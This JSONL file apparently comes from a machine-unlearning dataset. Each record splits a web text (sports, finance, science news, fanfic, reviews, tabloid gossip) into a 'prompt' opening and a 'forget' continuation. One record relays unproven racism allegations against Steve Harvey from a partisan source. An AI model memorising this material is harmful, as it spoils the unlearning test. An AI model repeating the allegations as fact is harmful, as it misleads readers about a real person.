{"prompt": "Nick Friedell looks at each player on the Chicago Bulls roster and how they fit in for the future. Jimmy Butler played 221 out of a possible 240 minutes in the Heat series. Dennis Wierzbicki/USA TODAY Sports 2012-13 salary: $1,066,920 | Age: 23 | Season stats: 8.6 ppg, 4.0 rpg Season recap: After struggling to find a consistent place in Tom Thibodeau's rotation for the first couple months of his second season, Butler flourished toward the middle of January when Luol Deng went down with a hamstring injury. By the end of the season, Butler was being counted on to", "forget": "play 48 minutes a night and be a defensive presence for a Bulls team that advanced to the second round of the playoffs. In a short span, Butler has become revered in Chicago for his work ethic and has quickly become an integral part of the organization's future. He has worked hard on his jump shot over the past year and has become much more consistent from beyond the arc. He is also one of the most solid defenders on the team and is routinely counted on to slow down the other team's best player, especially when Deng is on the mend. Season highlight: Butler had 21 points and 14 rebounds and played solid defense on LeBron James for 48 minutes in a surprising Game 1 win over the Miami Heat in the Eastern Conference semifinals. Butler played 221 out of a possible 240 minutes in the Heat series. Season lowlight: Butler scored just four points and missed two crucial free throws in the waning seconds in a loss to the Dallas Mavericks on March 31. He was just 1-for-8 from the field in 44 minutes. Final grades: Regular Season: B Postseason: B+ Notes: The Bulls don't want to move Butler, especially given that he has a couple more years on his rookie deal before an extension is likely hammered out, but he has become one of the team's most valuable assets. The Bulls don't want to move him but they would if it was part of a package that brought another star to Chicago. Quotes: \"It brings a smile to my face, obviously,\" Butler said in April of being a possible two-guard of the future. \"But I try not to get too caught up in the future because it's not promised. You never know what could happen. Right now"}
{"prompt": "The article was written by Ayush Singh Tip Ranks #4 Financial Blogger \u2013 Senior Analyst at I Know First. NXP Semiconductors Stock Apple suppliers like NXP Semiconductor have struggled over the last few months. Apple suppliers like NXP Semiconductor have struggled over the last few months. The risks of falling iPhone sales are blown out of proportion. NXP Semiconductor has a diversified business model that\u2019ll offset the drop in iPhone sales. The growth and potential of connected cars make NXP Semiconductor undervalued. I Know First has a bullish view for NXPI stock movement for the mid and long term. Due", "forget": "to the falling year over year sales of the iPhone 6S, Apple suppliers have taken a beating this year. Most Apple suppliers are down considerably from their 52-week high levels and NXP Semiconductors (NXPI) is no exception to it. NXP Semiconductor is trading about 30% lower from its all-time highs and although the stock has struggled recently, it has fared better than many other peers. I think shares of NXP Semiconductor are undervalued, which is why I think investors should consider adding it to their potfolio.s An amazing performance NXP Semiconductors is the largest rival of STMicro. In 2015, the company had gone through a trifling drop of around 17 percent. (Source: NXPI data by YCharts) However, the company faced nearly the same headwinds which knocked down STMicro, but it grumbled up by acquiring opponent chipmaker Freescale previous year. By acquiring Freescale, the company became one of the biggest manufacturers of automotive electronics worldwide. In 2015, the company\u2019s automotive sales, including the first month of Freescale, surged 17 percent on a yearly basis and accounted for 22 percent of its revenue. The company still anticipates that percentage to reach approximately 36 percent throughout the first quarter this year, and it could turn into a major growth engine as sales of connected cars increases. Sales of protected interface and organization, high-performance assorted signal devices, and secure connected cars all displayed huge sales growth the previous year. Since sales of connected cars are expected to sky rocket in the future, I think NXP Semiconductor is currently undervalued. (Source: Business Insider) Just before closing NXP\u2019s acquisition of Freescale, the company had projected all those sales to post y-o-y drops. Moreover, the joined company\u2019s huge size could allow it to exploit economies of scale to destabilize less significant competitors like STMicro. Consensus forecasts that"}
{"prompt": "Sometimes, a bra can look too small when it fits well, because the strip of fabric/elastic under the top of the lace is too tight across the top of the breast. European bras, in particular are nearly infamous for this. If you have firm breast tissue, your breasts will fight against the elastic and shape the bra. Not all of us are that lucky. Soft tissue molds to the shape of the bra, so the elastic pulls down over the top of the breast. If the bra is not a full coverage style, it will not sit against the breastbone,", "forget": "but actually against the breast tissue, causing the breasts to bulge out of the top of the bra and give the appearance of a bra that is too small. This seam is put in place to pull the top of the cup closer to the chest and prevent the bust from spilling out. That\u2019s probably just fine for someone who is predominantly full on bottom, but someone with a more even or full on top shape will run into this problem pretty consistently in European bras, so I\u2019m going to talk about how to fix that. Tools You\u2019ll Need: 1 seam ripper & 1 pair of scissors. Seriously, that\u2019s it. Difficulty Level: Easy. Seriously, a well behaved toddler could do it. The bra I will be performing this alteration on is the Samanta Hana (A122 cut) in 70I. Samanta is a Polish brand, and I will refrain from discussing the finer points of the style in detail, as the brand has already been broken down quite well by Miss Underpinnings, but I will say for the purpose of this post that I would refer to this as a mesh balconette. As you can see above, the bra looks too small on close up. I\u2019m clearly bulging out the top of the cup. If you look closely at the top center, you can even see my bust trying to escape through the gaps in the lace. What may not be obvious in photographs is that there is actually plenty of room in this cup for me, but the top of the cup is being pulled down very tightly across the top of my breast, causing me to quadboob even though the bra actually fits. This is the problem: This seam is slightly elastic, and so makes the top of the cup"}
{"prompt": "Tropical peat swamp forests, which once occupied large swaths of Southeast Asia and other areas, provided a significant \u201csink\u201d that helped remove carbon dioxide from the atmosphere. But such forests have been disappearing fast due to clear-cutting and drainage projects making way for plantations. Now, research shows peatlands face another threat, as climate change alters rainfall patterns, potentially destroying even forested peatlands that remain undrained. The net result is that these former carbon sinks, which have taken greenhouse gases out of the atmosphere, are now net carbon sources, instead accelerating the planet\u2019s warming. The findings are described this week in", "forget": "the journal Proceedings of the National Academy of Sciences, in a paper by MIT Professor Charles Harvey, research scientist Alexander Cobb, and seven others at MIT and other institutions. \u201cThere is a tremendous amount of peatland in Southeast Asia, but almost all of it has been deforested,\u201d says Harvey, who is a professor of civil and environmental engineering and has been doing research on that region for several years. Once deforested and drained, the peatland dries out, and the organic (carbon-containing) soil oxidizes and returns to the atmosphere. Sometimes the exposed peat can actually catch fire and burn for extended periods, causing massive clouds of air pollution. Tropical peatlands may contain as much carbon as the amount consumed in nearly a decade of global fossil fuel use, and raging peat fires in Indonesia alone have been estimated in some years to contribute 10 to 40 percent as much greenhouse gas to the atmosphere as all the world\u2019s fossil fuel burning. Tropical peatlands, unlike those in temperate zones that are dominated by sphagnum moss, are forested with trees that can tower to 150 feet, and peat fires can sometimes ignite forest fires that consume these as well. (Peat that gets buried and compressed underground is the material that ultimately turns to coal). Harvey and his team have found one of the last undisturbed tropical peat forests, in the nation of Brunei on the island of Borneo. \u201cWe found this site that still has peat growing,\u201d he says, partly because that petroleum-rich nation has been able to resist the economic draw of the palm-oil market. \u201cIt is remarkable how much the peat forests are just gone everywhere else.\u201d By studying this undisturbed tract, he says, the researchers were able to see how peatlands function under normal conditions, to provide a baseline for"}
{"prompt": "Many plastic products contain hazardous chemicals that can leach to the surroundings. In studies conducted at the University of Gothenburg, a third of the tested plastic products released toxic substances, including 5 out of 13 products intended for children. \"Considering how common plastic products are, how quickly the production of plastic has increased and the amount of chemicals that humans and the environment are exposed to, it is important to replace the most hazardous substances in plastic products with less hazardous alternatives,\" says Delilah Lithner of the Department of Plant and Environmental Sciences at the University of Gothenburg. Plastics exist", "forget": "in many different chemical compositions and are widespread in the society and the environment. Global annual production of plastics has doubled over the past 15 years, to 245 million tonnes in 2008. The plastic polymers are not regarded as toxic, but there may be toxic residual chemicals, chemical additives and degradation products in the plastic products that can leach out as they are not bound to the plastic polymer. Plastics also cause many waste problems. In her research, Lithner studied the toxicity of 83 randomly selected plastic products and synthetic textiles. The newly purchased products were leached in pure (deionised) water for 1-3 days. The acute toxicity of the water was then tested using water fleas (Daphnia magna). \"A third of all the 83 plastic products and synthetic chemicals that were tested released substances that were acutely toxic to the water fleas, despite the leaching being mild. Five out of 13 products that were intended for children were toxic, for example bath toys and buoyancy aids such as inflatable armbands,\" says Delilah Lithner. The products that resulted in toxic water were soft to semi-soft products made from plasticised PVC or polyurethane, as well as epoxy products and textiles made from various plastic fibres. The toxicity was mainly caused by fat-soluble organic substances. Lithner also studied the chemicals used to make around 50 different plastic polymers and has identified the plastic polymers for which the most hazardous chemicals are used. They were then ranked on the basis of the environmental and health hazard classifications that exist for the chemicals. Examples of plastic polymers made from the most hazardous chemicals are certain polyurethanes, polyacrylonitriles, PVC, epoxy and certain styrene copolymers. The results are of great benefit for further assessing environmental and health risks associated with plastic materials. The thesis Environmental and health"}
{"prompt": "My husband and I have long joked that he is more feminist than I. When Sara Hurwitz was first ordained as Maharat, he was much more comfortable with the idea of female clergy than I was. I have never felt an urge to wear a tallit or tefillin. I did not like some of the changes instituted by my former rabbi to increase the role of women in formal ritual, because I felt it served a broader agenda rather than reflected the wishes of female congregants. I was skeptical of R' Avi Weiss and YCT's claims of 'open orthodoxy' because", "forget": "some of the ideas being generated by that institution seemed to push change simply for the sake of change. It seemed to me at the time that YCT's leadership was overly aggressive and unnecessarily alienating much of the established Orthodox world. In a way, I was proud of being un-feminist (not anti-feminist), because I was truly comfortable in both my femininity and my religious observance.I should clarify that I never had an issue with the idea of women wearing tallit or tefillin in non-Orthodox services. The bulk of my objections were not halachic. The neighborhood I lived in had one Orthodox shul, one Conservative, two Reform, and possibly more that I'm forgetting. It bothered me that women who might feel more comfortable than I would in a Conservative or Reform minyan would come to an Orthodox one and wear a tallit. It seemed disrespectful. After all, I would not go into a church and loudly proclaim that I do not believe in Jesus. So why must someone come into my holy space and proclaim that they don't share my beliefs?I don't feel that way anymore. The two largest influences have been motherhood, and recent statements by Orthodox institutions and individuals.First, on motherhood. I rarely get to daven anymore, and when I do, at least half my attention is on the clock, because it is inevitably almost time for one of my kids to eat, nap, or go to the potty. Or I'm distracted because I'm expecting my older son to come looking for me. My children take up my mental space even when they don't need anything. So I deeply envy any woman who can daven with true kevana. I still don't have a desire to wear tallit or tefillin, but I admire the dedication and devotion of the women"}
{"prompt": "The average Australian city is home to 32 threatened species, according to a study recently published in the journal Global Ecology and Biogeography. \u201cThe finding was surprising because we generally write off cities as \u2018lost causes\u2019 when it comes to conservation,\u201d says Pia Lentini, a research fellow at the University of Melbourne\u2019s School of Biosciences and a member of the study team. \u201cWe tend to imagine that threatened species are only found in far away national parks or remote areas.\u201d Not so, Lentini and her colleagues found. In fact their study, the first continent-scale analysis of threatened species and cities,", "forget": "suggests that urban areas are disproportionately rich in threatened species compared to non-urban areas. The researchers compiled data on the distribution of Australia\u2019s 1,643 land-dwelling threatened species, including 1,215 plants and 428 animals. They compared these maps to the locations of Australia\u2019s 99 cities that have more than 10,000 residents. They found that 503 threatened species, or 30 percent of the total, have distributions that overlap with urban areas. This includes 25 percent of listed plants and 46 percent of listed animals \u2013 species like the koala, grey-headed flying fox, swift parrot, Carnaby\u2019s black cockatoo, green and gold bell frog, and lots of orchids. Some species are heavily dependent on urban habitat, in fact. For 51 of the species, at least 30 percent of their range falls within urban areas. And eight threatened species, all plants, are entirely confined to cities. For example, the Nielsen Park she-oak is found only within metropolitan Sydney, and the fringed spider-orchid only in a rapidly developing part of Melbourne. Each Australian city contains a different suite of threatened species. About half of the species, or 258, are found in only one city each. But all 99 of the cities are known or likely to be home to at least one threatened animal, and 88 of them are known or likely to harbor threatened plants. Sydney contains the most threatened species, with 124 found there. Even more striking, the researchers found that acre for acre, urban areas contain more threatened species than do non-urban areas, leading them to dub cities \u201chotspots\u201d for threatened species. As an extra test of this finding, the researchers also created \u201cdummy\u201d cities equivalent in area and in the same bioregion as each of the 99 real cities. True cities contain more threatened species than dummy cities, they found. In some"}
{"prompt": "HBO\u2019s comedy \u201cSilicon Valley\u201d makes fun of the way even boring startup tech companies adopt the same mission statement: \u201cTo make the world a better place.\u201d But serial entrepreneur and former Microsoft executive Alex Garden isn\u2019t shy about stating his new company\u2019s path to making the world a better place\u2014through pizza. It\u2019s not just any pizza, though. Zume pizzas are made by robots, and they\u2019re cooked in pizza ovens inside delivery trucks. Alex Garden (right) treats me to the finished product. More \u201cOne of the founding principles of this company is that every American has a right to a healthy", "forget": "meal they can afford,\u201d he told me. \u201cIf you look at pizza, what is it? It\u2019s high-quality bread, and high-quality organic vegetables, and meats and cheeses. All of these things are things that are good for you in moderation. And the number of calories really is a function of how much sugar is in the food. Zume Pizza is half the calories per slice, roughly half the cholesterol and half the fat, of any of the national leading chains.\u201d How? \u201cThe main reason is sugar,\u201d says Garden, whose pizzas range in price from $10 for a cheese to $20 for a pineapple express. \u201cWe don\u2019t put any extra sugar in the sauce. We don\u2019t put any extra sugar in the dough. And we let our dough age for 24 hours; during that process, the fermentation of the dough further reduces the sugar in it.\u201d He also has much to say about where he gets his ingredients\u2014directly from the providers, without the warehouses and distribution channels that, say, Pizza Hut (YUM) or Domino\u2019s (DPZ) employ. He uses software\u2014predictive algorithms\u2014to know what he\u2019ll need when. He makes his sausage and tomato sauce in-house. But that\u2019s not the most headline-grabbing feature of Zume pizza, which was founded in 2015 and currently delivers in Mountain View, California, and surrounding areas. The biggest feature is the robots. The robots Inside the Zume kitchen, robots are displacing more human workers every passing month. These days, one robot presses out the dough into the familiar flattened circle; a second and third (Pepe and Giorgio) squirt tomato sauce or white sauce onto each pie; a fourth (Marta) spreads the sauce around (\u201cperfectly, but not too perfectly,\u201d Garden says). Humans apply the toppings, but then a fourth machine (Bruno) scoops up the pizza from the conveyor belt and delicately"}
{"prompt": "Get Answers Select a school, and find out more about its practices: Select school Abilene Christian University Agnes Scott College University of Akron University of Alabama University of Alabama\u2013Birmingham University of Alaska\u2013Anchorage University of Alaska\u2013Fairbanks University of Alberta Albion College Allegheny College American University Amherst College Anna Maria College University of Arizona Arizona State University\u2013Tempe University of Arkansas\u2013Fayetteville Auburn University Babson College Ball State University Barnard College Bates College Baylor University Bentley University Berea College Berry College Boise State University Boston College Boston University Bowdoin College Bradley University Brandeis University Brigham Young University University of British Columbia Brown University Bryant", "forget": "University Bryn Mawr College Bucknell University University at Buffalo\u2013SUNY Butler University University of Calgary California Institute of Technology California Polytechnic State University University of California\u2013Berkeley University of California\u2013Davis University of California\u2013Los Angeles University of California\u2013San Diego Carleton College Carleton University Carnegie Mellon University Case Western Reserve University Catholic University of America Centre College Chapman University University of Chicago University of Cincinnati Claremont McKenna College Clark University Clarkson University Clemson University Colby College Colgate University College of the Atlantic College of the Holy Cross College of the Ozarks College of William & Mary College of Wooster University of Colorado Colorado College Colorado School of Mines Colorado State University Columbia University Connecticut College University of Connecticut\u2013Storrs Cornell University Creighton University Dalhousie University Dartmouth College Davidson College University of Dayton University of Delaware Denison University University of Denver DePaul University DePauw University Dickinson College Drew University Drexel University Duke University Duquesne University Earlham College Eastern Kentucky University Emory University Fairfield University Florida Atlantic University Florida State University\u2013Tallahassee University of Florida\u2013Gainesville Fordham University Franklin and Marshall College Furman University Gallaudet University George Mason University George Washington University Georgetown University University of Georgia Georgia Institute of Technology Gettysburg College Goucher College Grand Valley State University Grinnell College University of Guelph Gustavus Adolphus College Hamilton College Hampton University Harvard University Harvey Mudd College Haverford College University of Hawaii\u2013Manoa Hendrix College Hillsdale College Hobart and William Smith Colleges Hocking College Hofstra University Hope College University of Houston Howard University University of Idaho University of Illinois Illinois Institute of Technology Illinois Wesleyan University Indiana University\u2013Purdue University Indianapolis Indiana University\u2013Bloomington University of Iowa Iowa State University Ithaca College John Carroll University Johns Hopkins University Kalamazoo College Kansas State University University of Kansas\u2013Lawrence Kean University University of Kentucky Kenyon College Lafayette College Universit\u00e9 Laval Lawrence University Lehigh University Lewis and"}
{"prompt": "The British public wrongly believing most rapists are men \u2018in a balaclava in a dark alley\u2019 has been blamed for a slump in conviction rates for sex assaults. The country\u2019s top prosecutor warned that \u2018out-of-date myths\u2019 had to be tackled to persuade victims to have confidence in the criminal justice system. New guidance will be sent to police to stress that most rapists know their victim and urge them to focus on what steps a suspect may have taken to gain consent for sex. New guidance for police and prosecutors seeks to dispel the myth that most rapes are carried", "forget": "out by strangers in dark allies The Crown Prosecution Service said its new national rape action plan will tackle the barriers that rape cases. It has been devised by Director of Public Prosecutions (DPP) Alison Saunders and Assistant Commissioner Martin Hewitt, the national policing lead for adult sexual offences. Mr Hewitt chaired a taskforce to investigate a fall in the number of cases of rape referred by police to the CPS and the numbers of successful rape prosecutions. The pair called for a renewed challenge to tackle the \u2018persistent myths and stereotypes\u2019 they believe have a negative impact on cases. In a joint statement they said that their six-month investigation had uncovered \u2018pervasive myths\u2019 about rape that exist among not only some police and prosecutors but also among society as a whole, the Independent said. They said: \u2018Despite efforts to raise awareness, many people still believe a rapist is a man in a balaclava in a dark alley, and a victim is a woman who shows her fear through fight. \u2018That is very rarely the case - most rapists know their victim, many victims do not physically fight and the trauma of being raped will affect each victim differently. \u2018There is an urgent need to change the discourse on rape. Our police officers, our prosecutors, our courts and our communities must reject the out-of-date myths and acknowledge the realities of rape. We also need to debate and understand the fundamental issue of consent.\u2019 Director of Public Prosecutions Alison Saunders said the focus of cases should not be on the credibility of the victim Last month the CPS and the Bureau of Investigative Journalism revealed that there were 2,300 rape convictions in 2013, down from 2,433 in 2010, while 129 fewer rape suspects were convicted in 2013 than in 2012. In"}
{"prompt": "Ultra-loved Steve Harvey\u2019s career may be in ultra-trouble. The famous TV host has been accused of some very ugly behavior. A two-month investigation into the Family Feud host has apparently uncovered evidence of some racist ranting that, if true, cannot be ignored. \u201cSpit on white people,\u201d Harvey allegedly said, as per Freedom Daily. A former employee of Harvey\u2019s, Joseph Cooper, claims to be in possession of tapes of several racial rants and has filed a $20 million lawsuit against Harvey. Cooper says these types of outbursts were commonplace from Harvey. According to Cooper, Harvey isn\u2019t just anti-white\u2014he is anti-American. \u201cI", "forget": "don\u2019t give a s**t about America,\u201d Cooper accuses Harvey of saying. Cooper says that he has 120 hours of recordings from a 20-year span of Harvey\u2019s career, going back to 1993 and his early stand-up days. He alleges that this was a pattern of behavior rather than mere isolated incidents. Harvey is arguably one of the greatest African-American stars in both radio and television. The Steve Harvey Show, Family Feud, and Little Big Shots draw tens of millions of loyal listeners and viewers on a daily basis. So, with an empire valued at some $100 million, he has much to lose. Harvey is not taking this news lying down and has issued a counter-suit against Cooper. The suit claims that Cooper is seeking to extort and coerce money from Harvey. Harvey is asking for $5 million in damages. On this matter, Harvey\u2019s lawyer has said, \u201cVirtually every time Harvey was hired for a television show, [Cooper] would contact the owners or principals to inform them of potentially embarrassing material and/or tapes and attempt to have them influence Harvey to pay for the tapes.\u201d Interestingly, court documents appear to show that Harvey admits to the rants, saying that at times he was edgier than others. \u201cI didn\u2019t have to concern myself with branding or imaging or anything. You could just say \u2014 I thought I was funnier,\u201d Harvey said. Cooper alleges that on one tape, Harvey says it would take an hour and a half to explain how badly he hates white people. He says that Harvey regularly called white people \u201chonkeys.\u201d Special grace is often offered to comedians over these kinds of matters. Indeed, the edgy nature of their work is often what makes them funny. However, racism is unacceptable. Imagine if a white comedian was saying he hates black"}
{"prompt": "Life is about to become more difficult for countries trying to censor access to foreign websites. A system dubbed Collage will allow users in these countries to download stories from blocked sites while visiting seemingly uncontroversial sites such as Flickr. Collage relies on a well-established technique known as digital steganography, in which an image file is changed to encode the hidden message without obviously affecting the appearance of the image. A prototype version is due to be unveiled on Friday, 13 August. Steganography normally requires specialist software, but Collage is designed so that anti-censorship activists and readers can publish and", "forget": "download the hidden stories without any specialist skills. A publisher or activist can, for example, use Collage to copy news stories from a website and embed the articles into Flickr images in a process that is almost entirely automated. In the prototype, stories from the BBC news site are used, but in principle any web content could be hidden. Collage can hide as many as 15 news articles in just seven medium-sized Flickr images. Advertisement News feeds Once the material is embedded in a Flickr image, anyone with Collage can download it and extract the stories. A censor attempting to monitor traffic from a prohibited site would only see the reader visiting Flickr, which is not generally blocked by web censors. Collage is able to identify which images have been used to hide material. All the would-be reader has to do is click on the date they are interested in; the stories appear a few minutes later. \u201cIt all happens in the background,\u201d says Sam Burnett at the Georgia Institute of Technology in Atlanta, part of the team behind Collage. Burnett has designed a Flickr upload tool that links with Collage and embeds content that publishers or activists want to make available. Collage can also be easily extended so that stories are embedded in other photo-sharing sites. The idea is to spread material across numerous sites that host user-generated content so that the activity of someone running Collage appears much like that of any internet user and the censors cannot just block access to Flickr. Collage does, however, rely on the goodwill of Flickr users, who will have to provide access to the images where the articles are to be hidden. Burnett is relying on opposition to censorship to motivate people to use Collage. \u201cWe\u2019re betting on people getting a"}
{"prompt": "Mother-son love dominates households the world over, but especially in India. (Ask anyone married to a desi man if she feels like the other woman.) One of the standout episodes of Room 104, the new Duplass-helmed HBO series, makes great use of this phenomenon. Titled \u201cThe Internet,\u201d it\u2019s set in 1997. Our only visible character, a harried, wannabe novelist, is locked for nearly the full half-hour in a phone call with his mom. Anish needs his manuscript sent to him, in a bad way. He\u2019s got a life-changing meeting with an agent coming up, a book to finish, and of", "forget": "course, he forgot his laptop. Actor Karan Soni paces the dinky motel room for which the series is named in a sweat, walking his oblivious mom through the mechanics of email with a growing frustration in his voice that betrays just how deep their relationship is. Featuring only Soni and Poorna Jagannathan as his mother, the scene manages to do a lot with a little. From nearly her first line, Jagannathan establishes her character as one we haven\u2019t seen rendered so well before: the loving but passive-aggressive, alternately icy, and helicoptering desi mom. Jagannathan\u2019s character seems almost at times to be trolling Anish, so hypnotically layered is her cadence. To pull it off, Jagannathan told Vulture by email, she channeled her own, super-sweet mom, as well as her split attitude toward her 11-year-old son. When he talks, \u201cThere\u2019s a part of you that is in wonder and amazement and so much love, and then there\u2019s a part that\u2019s totally bored and needs to just reach for the wine.\u201d Both actors were born in India \u2014 Soni in New Delhi to a middle-class family, while Jagannathan is the daughter of a diplomat. Her accent gives away the upper-crust, Brit-lite India that she belongs to, though her character\u2019s origins are notably humble. But that inconsistency doesn\u2019t detract from her possession of the role. The Duplasses are known for encouraging improvisation, and she sprinkles her rejoinders with \u201cbeta\u201d and \u201craja\u201d \u2014 the latter, meaning prince, less known than the former, which means son. The episode \u2014 not written with Indians in mind \u2014 wasn\u2019t meant to be a model of representational politics at work. Soni took the part a day before shooting, after the original actor dropped out because of a conflict; Jagannathan came in the day of to fit his casting. Still,"}
{"prompt": "Chapter Text The world turned upside down on a Tuesday. Thomas had been sitting at his computer, looking at pictures of other peoples\u2019 cats. There was a brief moment of unaccustomed weightlessness, followed by a lurching feeling as he started falling. He hit the ceiling half a second later, denting the plaster and hurting his head. He lay there for a moment, rubbing his scalp, which was bleeding profusely in the way that minor head wounds sometimes did. Thomas let out a groan and moved slowly. When he looked up, he saw his cat, Bartleby, staring at him. From the", "forget": "floor. \u201cHelp?\u201d asked Thomas. His cat meowed. He placed a hand on the ceiling, where he\u2019d cracked the plaster. Bits of it fell past him, to where his cat was sitting. Bartleby, having seen enough, sauntered out of the room. Thomas stayed where he was. He touched the wound on his head, causing his fingers to come away bloody. He stared at them for a moment. There was enough blood for it to drip down; it fell toward the ceiling for a few brief fractions of a second, then reversed direction and fell toward the floor. Thomas looked up at the plaster and blood next to his computer chair, which had fallen over. Everything in the room was sitting just where it had been. Thomas did what any savvy young person would do in a time like this; he pulled out his smartphone to consult the internet. Unfortunately, when he pulled it from his pocket, he suddenly realized that it was trying to get away with him, fleeing toward the floor. If he\u2019d been prepared, it would have been no work at all to keep it in his grasp, but while he had decades of practice keeping a phone from falling from his grasp, he had no experience whatsoever with keeping a phone from falling up. The whole concept of gravity had been sundered into two pieces: the objective (everything in the world) and subjective (just Thomas). This would have been a pleasant epiphany had it not immediately followed his phone crashing into the ground. He winced when he saw the shattered screen. The internet wasn\u2019t going to be any help. It was unlikely that the internet would have been any help anyway, since Thomas was certain that he would have heard about it if anyone had ever had their"}
{"prompt": "How Rise of the Tomb Raider is forging a gaming icon. Camilla Luddington is frowning seven different ways. She's an experienced actor, so each frown carries its own nuance and meaning: defiance, confusion, vulnerability, fear. She's filming in a Los Angeles facial capture studio for her role as Lara Croft in the forthcoming Rise of the Tomb Raider. Since the 2013 Tomb Raider reboot, Luddington has provided the basis for the face and voice of one of video gaming's most recognizable characters. A few days later, some 350 miles north of L.A. in the offices of Tomb Raider developer Crystal", "forget": "Dynamics, Senior Technical Artist Jon Robins leans into his monitor and carefully studies the Luddington footage. \"Making a human being is the most challenging thing when creating video games.\" He notes how light bounces off the ridges on Luddington's forehead, how her eyes move in a slightly different fashion for each frown, how the lines around her eyes transfer to the particulars of her smile, the angle of her cheekbones, the jut of her chin. He imports the images into facial engine models of Lara Croft. The mesh of her face represents thousand of data points. Robins manipulates blend shapes in order to tweak Lara Croft's expressions, each designed for a specific moment in the game \u2014 for a flash of peril, a quizzical exchange of dialog or an internal moment of self-reflection. He is tasked with making Lara Croft look as human as possible. She must seem like a real person while also being an action hero. She must convey both power and vulnerability. She must be visually and emotionally appealing to the player. She must seem like the same Lara Croft we have known for two decades. As Croft shows a variety of on-screen emotions, Robins sits back in his office chair and gazes at her face. He frowns. Something isn't right. It takes a moment for him to articulate the problem. There's a woman on his screen but she isn't Lara Croft. He's looking at an actor. He's looking at Camilla Luddington. Lara Croft is gone. Remaking Lara Croft video New horizons Rise of the Tomb Raider is the first Lara Croft game made specifically for the current console generation. It\u2019s a timed exclusive for Xbox One (and Xbox 360), due out on Nov. 10. Rise of the Tomb Raider picks up after the events of the"}
{"prompt": "A new staffer faces disciplinary action after a tweet from the Atlanta City Council\u2019s verified account created a political firestorm early Wednesday. The erroneous tweet, which indicated Mayor Kasim Reed vetoed a measure intended to reduce penalties for possession of small amounts of marijuana, was pushed out to thousands of the council\u2019s followers just after 6 a.m. \u2014 nearly 12 hours after he signed the legislation. Good morning #Atlanta. We received an email overnight that the Mayor VETOED our marijuana legislation for less than one ounce. More to come \u2014 Atlanta City Council (@ATLCouncil) October 11, 2017 The city recalled", "forget": "the tweet about 47 minutes later, but by then, nearly every major outlet in Atlanta had published the news. RECALL: Mayor did not veto marijuana legislation \u2014 Atlanta City Council (@ATLCouncil) October 11, 2017 And while city officials could not be reached for comment, Reed quickly responded online. In a string of tweets, he blasted journalists and blamed the mix-up on City Council President Ceasar Mitchell, who hopes to succeed Reed as mayor. Look at the source folks. It's just another political stunt by the Ceaser Mitchell & the AJC. Here my response on @V103Atlanta at 8AM. https://t.co/3M5mfQADwr \u2014 Kasim Reed (@KasimReed) October 11, 2017 He later went on The Ryan Cameron Morning Show with Wanda Smith on radio station V-103. \u201cI\u2019ve been interviewed by journalism students at Grady High School that know to call the source,\u201d Reed said. Council spokesman Dexter Chambers called into the program to set the record straight. The error, he said, was made when the unidentified staffer read an email from the mayor\u2019s office. The staffer, however, did not read which bill was vetoed by the mayor, according to Chambers. \u201cRyan, we have policies and procedures in place that were not followed,\u201d he said. \u201cShe assumed it was the marijuana legislation. That was not the case.\u201d The mayor actually vetoed the sale of a portion of land to Hapeville, according to the council. CORRECTION: Mayor's veto was regarding the sale of a portion of land to Hapeville, GA \u2014 Atlanta City Council (@ATLCouncil) October 11, 2017 \u201cPresident Mitchell did not have anything to do with this,\u201d said Chambers, who did not specify how the new staffer would be discplined. Reed didn\u2019t buy the explanation and said he questioned if Chambers should remain in his post as the head of communications. \u201cThis was intentional,\u201d he said."}
{"prompt": "Web comics are a great way to get some much-needed downtime and inspiration, and are a nice, creative way to fill a break in work. Web comics are free and easily accessible, and there are plenty of great ones out there. In this article, we've picked some of the best web comics to explore. Some of the world's most well-known fictional characters were born through the medium of comics. The likes of Batman, Superman and Spider-Man have all won the hearts of successive generations of readers \u2013 to such an extent that, despite the rise of the internet, the printed", "forget": "comic industry is still booming. If you're inspired to create your own, take a look at our guides to how to create a comic page, and how to colour comics. Nedroid (pronounced 'NEH-droid') is a web comic by artist Anthony Clark. He has his fingers in a few different comic pies, but is best known for a goofy comic series featuring Beartato \u2013 a potato/bear hybrid, of course \u2013 that has been running since 2006. James Squires is an illustrator based in New Zealand who describes himself as a 'delusional comic person, coffee drinker, cat owner'. He's the artist behind web comic Moonbeard. These surreal, standalone cartoons often feature surprising twists, and they're well worth a browse. You can also browse his work via his Instagram feed. Webcomic Name first appeared in July 2016 and swiftly became a firm favourite. It's the work of UK-based artist Alex Norris and it never fails to amuse us with its excellently naive artwork, blobby characters and simple jokes, usually topped off with Webcomic Name's staple 'oh no' punchline. It shouldn't really work but it very much does, every single time. Anne Szabla's Bird Boy follows the story of Bali, a 10-year-old Nuru boy who is keen to prove his worth to his tribe. After being banned from the ceremony that would make him an adult, he stumbles upon a legendary weapon and must flee across a dangerous land of gods, men and beasts to prevent it falling into the wrong hands. The story was picked up by Darkhorse comics and has been compiled into graphic novels Bird Boy Volume 1: The Sword of Mali Mani and Bird Boy Volume 2: The Liminal Wood. With a thumbs up from Mike Mignola, it's definitely worth checking out. Canadian comic artist Kate Beaton, blended her expertise"}
{"prompt": "Author has written 4 stories for Frozen, and Harry Potter. 1-27-18 Update: So...um...hi everyone. I don't have much in the way of excuses as to my absence from active posting, other than spending the last few years recovering from trauma. January 5, 2016 I attempted to take my own life. My other half and I both. Suffice to say, the world we woke to after failing was a bleak and traumatizing one. I won't go into details so as to not trigger anyone who may have had similar travesties occur. Let me say that its been two years and I'm", "forget": "still struggling with my depression and loss of passion. But. I am writing again, after ages of being unable to even open a word document, I'm writing again. I WILL finish While I Sleep, that's my first goal. I also have over a dozen fics in-progress on my computer that I've been touching on for a while now. A few one shots, but mostly multi-chapter fics. Most of them are Elsanna, but some branch out into Final Fantasy XIII and even Strange Magic. All yuri stories. That being said, I cannot promise anything concrete. I am trying my best to finish While I Sleep, but I refuse to do like these other authors who rush their endings just so they can be done with it. We all deserve better than that, and if I ever get to a point where I can't finish a fic, I will abandon it rather than rushing out a BS ending. I appreciate every one of you who have stuck by my side and given your support. You've all been so wonderful, and I hope I can deliver some quality work to you soon. Love and light, Ariel 10-4-15 Update: So I think its time I stop hiding and brush this thing off. First, let me apologize to everyone for the horrendous absence this year. My ability to focus on my writings and maintain my passions for the development of the stories sort of just died off. And along with that we have had a very busy year at my work and that has sort of killed my muse. BUT! I just ground out 4600 words on Chapter 4 of While I Sleep and got it posted and the overwhelming outpouring of support from my readers has revived my muse and given me such a"}
